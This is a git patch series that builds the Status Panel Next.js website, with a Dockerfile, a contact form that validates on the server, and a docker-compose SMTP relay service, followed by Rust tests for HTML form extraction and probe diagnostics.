From a7654ca9eec1695d5e1a1eaacc1b17c9d43bced2 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Tue, 19 May 2026 12:00:03 +0300 Subject: [PATCH 01/23] Status Panel website --- web/.dockerignore | 10 + web/.gitignore | 41 + web/AGENTS.md | 5 + web/CLAUDE.md | 1 + web/Dockerfile | 27 + web/README.md | 45 + web/app/api/health/route.ts | 6 + web/app/contact/actions.ts | 10 + web/app/contact/page.tsx | 41 + web/app/favicon.ico | Bin 0 -> 25931 bytes web/app/globals.css | 35 + web/app/layout.tsx | 46 + web/app/page.tsx | 122 + web/components/CliExamples.tsx | 21 + web/components/ContactForm.tsx | 128 + web/components/DeploymentTimeline.tsx | 24 + web/components/FeatureGrid.tsx | 22 + web/components/OperatingModes.tsx | 24 + web/components/Section.tsx | 34 + web/docker-compose.yml | 15 + web/eslint.config.mjs | 18 + web/lib/contact.ts | 87 + web/lib/site-content.ts | 161 + web/next.config.ts | 8 + web/package-lock.json | 6716 +++++++++++++++++++++++++ web/package.json | 30 + web/postcss.config.mjs | 7 + web/public/file.svg | 1 + web/public/globe.svg | 1 + web/public/next.svg | 1 + web/public/vercel.svg | 1 + web/public/window.svg | 1 + web/tsconfig.json | 34 + 33 files changed, 7723 insertions(+) create mode 100644 web/.dockerignore create mode 100644 web/.gitignore create mode 100644 web/AGENTS.md create mode 100644 web/CLAUDE.md create mode 100644 web/Dockerfile create mode 100644 web/README.md create mode 100644 web/app/api/health/route.ts create mode 100644 web/app/contact/actions.ts create mode 100644 web/app/contact/page.tsx create mode 100644 web/app/favicon.ico create mode 100644 web/app/globals.css create mode 100644 web/app/layout.tsx create mode 100644 web/app/page.tsx create mode 100644 web/components/CliExamples.tsx create mode 100644 web/components/ContactForm.tsx create mode 100644 web/components/DeploymentTimeline.tsx create mode 100644 web/components/FeatureGrid.tsx create mode 100644 web/components/OperatingModes.tsx create mode 100644 web/components/Section.tsx create mode 100644 web/docker-compose.yml create mode 100644 web/eslint.config.mjs create mode 100644 web/lib/contact.ts create mode 100644 web/lib/site-content.ts create mode 100644 web/next.config.ts create mode 100644 web/package-lock.json create mode 100644 web/package.json create mode 100644 web/postcss.config.mjs create mode 100644 web/public/file.svg create mode 100644 web/public/globe.svg create mode 100644 web/public/next.svg create mode 100644 web/public/vercel.svg create mode 100644 web/public/window.svg create mode 100644 web/tsconfig.json diff --git a/web/.dockerignore b/web/.dockerignore new file mode 100644 index 0000000..8afd768 --- /dev/null +++ b/web/.dockerignore @@ -0,0 +1,10 @@ +node_modules +.next +out +npm-debug.log* +.env +.env.local +.env.*.local +.git +Dockerfile +README.md diff --git a/web/.gitignore b/web/.gitignore new file mode 100644 index 0000000..5ef6a52 --- /dev/null +++ b/web/.gitignore @@ -0,0 +1,41 @@ +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules +/.pnp +.pnp.* +.yarn/* +!.yarn/patches +!.yarn/plugins +!.yarn/releases +!.yarn/versions + +# testing +/coverage + +# next.js +/.next/ +/out/ + +# production +/build + +# misc +.DS_Store +*.pem + +# debug +npm-debug.log* +yarn-debug.log* +yarn-error.log* +.pnpm-debug.log* + +# env files (can opt-in for committing if needed) +.env* + +# vercel +.vercel + +# typescript +*.tsbuildinfo +next-env.d.ts diff --git a/web/AGENTS.md b/web/AGENTS.md new file mode 100644 index 0000000..8bd0e39 --- /dev/null +++ b/web/AGENTS.md @@ -0,0 +1,5 @@ + +# This is NOT the Next.js you know + +This version has breaking changes — APIs, conventions, and file structure may all differ from your training data. Read the relevant guide in `node_modules/next/dist/docs/` before writing any code. Heed deprecation notices. + diff --git a/web/CLAUDE.md b/web/CLAUDE.md new file mode 100644 index 0000000..43c994c --- /dev/null +++ b/web/CLAUDE.md @@ -0,0 +1 @@ +@AGENTS.md diff --git a/web/Dockerfile b/web/Dockerfile new file mode 100644 index 0000000..943a24f --- /dev/null +++ b/web/Dockerfile @@ -0,0 +1,27 @@ +FROM node:24-alpine AS deps +WORKDIR /app +COPY package.json package-lock.json ./ +RUN npm ci + +FROM node:24-alpine AS builder +WORKDIR /app +ENV NEXT_TELEMETRY_DISABLED=1 +COPY --from=deps /app/node_modules ./node_modules +COPY . . +RUN npm run build + +FROM node:24-alpine AS runner +WORKDIR /app +ENV NODE_ENV=production +ENV NEXT_TELEMETRY_DISABLED=1 +ENV PORT=3000 + +RUN addgroup -S nextjs && adduser -S nextjs -G nextjs + +COPY --from=builder /app/public ./public +COPY --from=builder --chown=nextjs:nextjs /app/.next/standalone ./ +COPY --from=builder --chown=nextjs:nextjs /app/.next/static ./.next/static + +USER nextjs +EXPOSE 3000 +CMD ["node", "server.js"] diff --git a/web/README.md b/web/README.md new file mode 100644 index 0000000..a12e290 --- /dev/null +++ b/web/README.md @@ -0,0 +1,45 @@ +# Status Panel Web + +Next.js website for `status.stacker.my`. The app explains Status Panel +features, CLI usage, operating modes, Stacker deployment flow, and the future +Contact to Email Sender pipe scenario. + +## Local development + +```bash +npm install +npm run dev +``` + +If port `3000` is already in use, run: + +```bash +npm run dev -- --hostname 127.0.0.1 --port 3001 +``` + +## Validation + +```bash +npm run lint +npm run build +docker build -t status-panel-web:test . +``` + +## Contact pipe configuration + +The contact form validates on the server. It does not send email unless these +server-only environment variables are configured: + +```bash +CONTACT_PIPE_URL= +CONTACT_PIPE_TOKEN= +CONTACT_TO_EMAIL= +``` + +Do not expose `CONTACT_PIPE_TOKEN` with a `NEXT_PUBLIC_` prefix. + +## Deployment + +Use `stacker.yml`, `docker-compose.yml`, and `Dockerfile` in this directory for +the Stacker deployment workflow. Record all deployment, MCP, Status Panel, +firewall, proxy, and pipe commands in `docs/deployment-history.md`. diff --git a/web/app/api/health/route.ts b/web/app/api/health/route.ts new file mode 100644 index 0000000..e72140b --- /dev/null +++ b/web/app/api/health/route.ts @@ -0,0 +1,6 @@ +export function GET() { + return Response.json({ + status: "ok", + service: "status-panel-web", + }); +} diff --git a/web/app/contact/actions.ts b/web/app/contact/actions.ts new file mode 100644 index 0000000..9209804 --- /dev/null +++ b/web/app/contact/actions.ts @@ -0,0 +1,10 @@ +"use server"; + +import { submitContactMessage, type ContactFormState } from "@/lib/contact"; + +export async function submitContactAction( + _previousState: ContactFormState, + formData: FormData, +): Promise { + return submitContactMessage(formData); +} diff --git a/web/app/contact/page.tsx b/web/app/contact/page.tsx new file mode 100644 index 0000000..30c6830 --- /dev/null +++ b/web/app/contact/page.tsx @@ -0,0 +1,41 @@ +import type { Metadata } from "next"; +import Link from "next/link"; +import { ContactForm } from "@/components/ContactForm"; + +export const metadata: Metadata = { + title: "Contact", + description: + "Contact the Status Panel team about deployments, Stacker workflows, and infrastructure operations.", +}; + +export default function ContactPage() { + return ( +
+
+
+ + Back to home + +

+ Plan a Status Panel deployment. +

+

+ Tell us about your Stacker server, Status Panel scenario, or the + Contact to Email Sender workflow you want to demonstrate. +

+
+

Pipe-ready by design

+

+ This form validates on the server and can later forward messages + to a Stacker pipe when `CONTACT_PIPE_URL`, `CONTACT_PIPE_TOKEN`, + and `CONTACT_TO_EMAIL` are configured. +

+
+
+
+ +
+
+
+ ); +} diff --git a/web/app/favicon.ico b/web/app/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..718d6fea4835ec2d246af9800eddb7ffb276240c GIT binary patch literal 25931 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 LrJugUA?W`A8`#=m literal 0 HcmV?d00001 diff --git a/web/app/globals.css b/web/app/globals.css new file mode 100644 index 0000000..9376641 --- /dev/null +++ b/web/app/globals.css @@ -0,0 +1,35 @@ +@import "tailwindcss"; + +:root { + --background: #f8fafc; + --foreground: #0f172a; +} + +@theme inline { + --color-background: var(--background); + --color-foreground: var(--foreground); + --font-sans: var(--font-geist-sans); + --font-mono: var(--font-geist-mono); +} + +@media (prefers-color-scheme: dark) { + :root { + --background: #020617; + --foreground: #e2e8f0; + } +} + +html { + scroll-behavior: smooth; +} + +body { + background: var(--background); + color: var(--foreground); + font-family: var(--font-geist-sans), Arial, Helvetica, sans-serif; +} + +::selection { + background: #38bdf8; + color: #082f49; +} diff --git a/web/app/layout.tsx b/web/app/layout.tsx new file mode 100644 index 0000000..fa5c91a --- /dev/null +++ b/web/app/layout.tsx @@ -0,0 +1,46 @@ +import type { Metadata } from "next"; +import { Geist, Geist_Mono } from "next/font/google"; +import "./globals.css"; + +const geistSans = Geist({ + variable: "--font-geist-sans", + subsets: ["latin"], +}); + +const geistMono = Geist_Mono({ + variable: "--font-geist-mono", + subsets: ["latin"], +}); + +export const metadata: Metadata = { + metadataBase: new URL("https://status.stacker.my"), + title: { + default: "Status Panel - Infrastructure and Container Operations", + template: "%s | Status Panel", + }, + description: + "Status Panel is a lightweight infrastructure agent for health checks, metrics, Docker management, secure command execution, Vault-backed config, and Stacker deployments.", + openGraph: { + title: "Status Panel", + description: + "Operate containers, inspect metrics, execute signed commands, and deploy through Stacker.", + url: "https://status.stacker.my", + siteName: "Status Panel", + type: "website", + }, +}; + +export default function RootLayout({ + children, +}: Readonly<{ + children: React.ReactNode; +}>) { + return ( + + {children} + + ); +} diff --git a/web/app/page.tsx b/web/app/page.tsx new file mode 100644 index 0000000..dd654bb --- /dev/null +++ b/web/app/page.tsx @@ -0,0 +1,122 @@ +import Link from "next/link"; +import { CliExamples } from "@/components/CliExamples"; +import { DeploymentTimeline } from "@/components/DeploymentTimeline"; +import { FeatureGrid } from "@/components/FeatureGrid"; +import { OperatingModes } from "@/components/OperatingModes"; +import { Section } from "@/components/Section"; + +export default function Home() { + return ( +
+
+
+
+ + +
+
+

+ Lightweight infrastructure agent for Stacker-managed servers +

+

+ Operate containers, metrics, logs, and deployments from one + secure panel. +

+

+ Status Panel is a single-binary operations agent for health + checks, Docker/container management, system metrics, signed + remote commands, Vault-backed configuration, and Stacker + deployment workflows. +

+
+ + Talk to us + + + See deployment flow + +
+
+ +
+
+
+ + + +
+
+                  {`$ status health
+ok: nginx, api, postgres
+
+$ status metrics --json
+{"cpu":18.4,"memory":42.1,"disk":61.9}
+
+$ stacker deploy --target cloud
+plan: web -> firewall -> proxy -> verify`}
+                
+
+
+
+
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+
+ ); +} diff --git a/web/components/CliExamples.tsx b/web/components/CliExamples.tsx new file mode 100644 index 0000000..545a17b --- /dev/null +++ b/web/components/CliExamples.tsx @@ -0,0 +1,21 @@ +import { cliExamples } from "@/lib/site-content"; + +export function CliExamples() { + return ( +
+ {cliExamples.map((example) => ( +
+ + {example.command} + +

+ {example.description} +

+
+ ))} +
+ ); +} diff --git a/web/components/ContactForm.tsx b/web/components/ContactForm.tsx new file mode 100644 index 0000000..2dc7aec --- /dev/null +++ b/web/components/ContactForm.tsx @@ -0,0 +1,128 @@ +"use client"; + +import { useActionState } from "react"; +import { submitContactAction } from "@/app/contact/actions"; +import { initialContactFormState } from "@/lib/contact"; + +export function ContactForm() { + const [state, formAction, isPending] = useActionState( + submitContactAction, + initialContactFormState, + ); + + return ( +
+
+

+ Contact +

+

+ Tell us what you want to deploy. +

+
+ + {state.message ? ( +
+ {state.message} +
+ ) : null} + + + + +
+ + + + "#; + + let forms = extract_html_forms(html, "/contact"); + assert_eq!(forms.len(), 1); + assert_eq!( + forms[0]["fields"], + json!(["name", "email", "subject", "message"]) + ); + assert_eq!( + forms[0]["hidden_fields"], + json!(["$ACTION_REF_1", "$ACTION_KEY", "csrf_token"]) + ); + assert_eq!( + forms[0]["framework_hidden_fields"], + json!(["$ACTION_REF_1", "$ACTION_KEY"]) + ); + assert_eq!( + forms[0]["all_fields"], + json!([ + "$ACTION_REF_1", + "$ACTION_KEY", + "csrf_token", + "name", + "email", + "subject", + "message" + ]) + ); + } + #[test] fn extract_html_forms_get_with_no_fields_excluded() { let html = r#" @@ -11563,6 +12114,84 @@ mod probe_endpoints_command_tests { assert!(forms.is_empty()); } + #[test] + fn build_probe_result_payload_includes_structured_diagnostics() { + let payload = build_probe_result_payload( + "dep-123", + "status-panel-web", + &["html_forms".to_string(), "rest".to_string()], + &[3000], + "status-panel-web", + "status-panel-web-1", + vec![], + vec![], + vec![], + vec![ + ProbeObservation { + protocol: "html_forms".to_string(), + port: 3000, + path: "/contact".to_string(), + detected: false, + detail: Some("HTML response contained no detectable forms".to_string()), + attempts: vec![ProbeAttempt { + transport: "agent_http".to_string(), + url: "http://status-panel-web-1:3000/contact".to_string(), + reported_url: Some("http://status-panel-web:3000/contact".to_string()), + outcome: "success".to_string(), + status_code: Some(200), + detail: None, + }], + }, + ProbeObservation { + protocol: "rest".to_string(), + port: 3000, + path: "/api".to_string(), + detected: false, + detail: Some("HTTP status 404 did not match the REST heuristic".to_string()), + attempts: vec![ProbeAttempt { + transport: "agent_http".to_string(), + url: "http://status-panel-web-1:3000/api".to_string(), + reported_url: Some("http://status-panel-web:3000/api".to_string()), + outcome: "response_received".to_string(), + status_code: Some(404), + detail: None, + }], + }, + ], + ); + + assert_eq!(payload["type"], "probe_endpoints"); + assert_eq!(payload["protocols_detected"], json!([])); + assert_eq!( + payload["diagnostics"]["protocols_requested"], + json!(["html_forms", "rest"]) + ); + assert_eq!(payload["diagnostics"]["ports_discovered"], json!([3000])); + assert_eq!( + payload["diagnostics"]["container_requested"], + "status-panel-web" + ); + assert_eq!( + payload["diagnostics"]["container_resolved"], + "status-panel-web-1" + ); + assert_eq!( + payload["diagnostics"]["observations"][0]["attempts"][0]["reported_url"], + "http://status-panel-web:3000/contact" + ); + assert_eq!( + payload["diagnostics"]["observations"][1]["detail"], + "HTTP status 404 did not match the REST heuristic" + ); + assert_eq!( + payload["diagnostics"]["issues"], + json!([ + "No HTML forms detected on probed pages", + "No REST endpoints matched the HTTP status heuristic" + ]) + ); + } + // ==================== RESOLVE_REF TESTS ==================== #[test] diff --git a/web/docker-compose.yml b/web/docker-compose.yml index ea19548..5b434aa 100644 --- a/web/docker-compose.yml +++ b/web/docker-compose.yml @@ -16,10 +16,19 @@ services: smtp: image: trydirect/smtp ports: - - 1025:1025 - - 8025:8025 + - "127.0.0.1:1025:25" + environment: + PORT: "25" + #RELAY_NETWORKS: ":127.0.0.0/8:10.0.0.0/8:172.16.0.0/12:192.168.0.0/16" + MAILNAME: "stacker.local" + SMARTHOST_ADDRESS: ${SMTP_RELAY_HOST} + SMARTHOST_PORT: ${SMTP_RELAY_PORT} + SMARTHOST_USER: ${SMTP_RELAY_USER} + SMARTHOST_PASSWORD: ${SMTP_RELAY_PASSWORD} + SMARTHOST_ALIASES: ${SMTP_RELAY_ALIASES} + RELAY_NETWORKS: ":0.0.0.0/0" volumes: - - smtp_data:/data + - smtp_data:/data restart: unless-stopped volumes: smtp_data: From 8675baeeb7bdd2060269507a3f1ed90cf8e70a70 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Mon, 25 May 2026 18:49:23 +0300 Subject: [PATCH 08/23] real website deployment example --- development.md 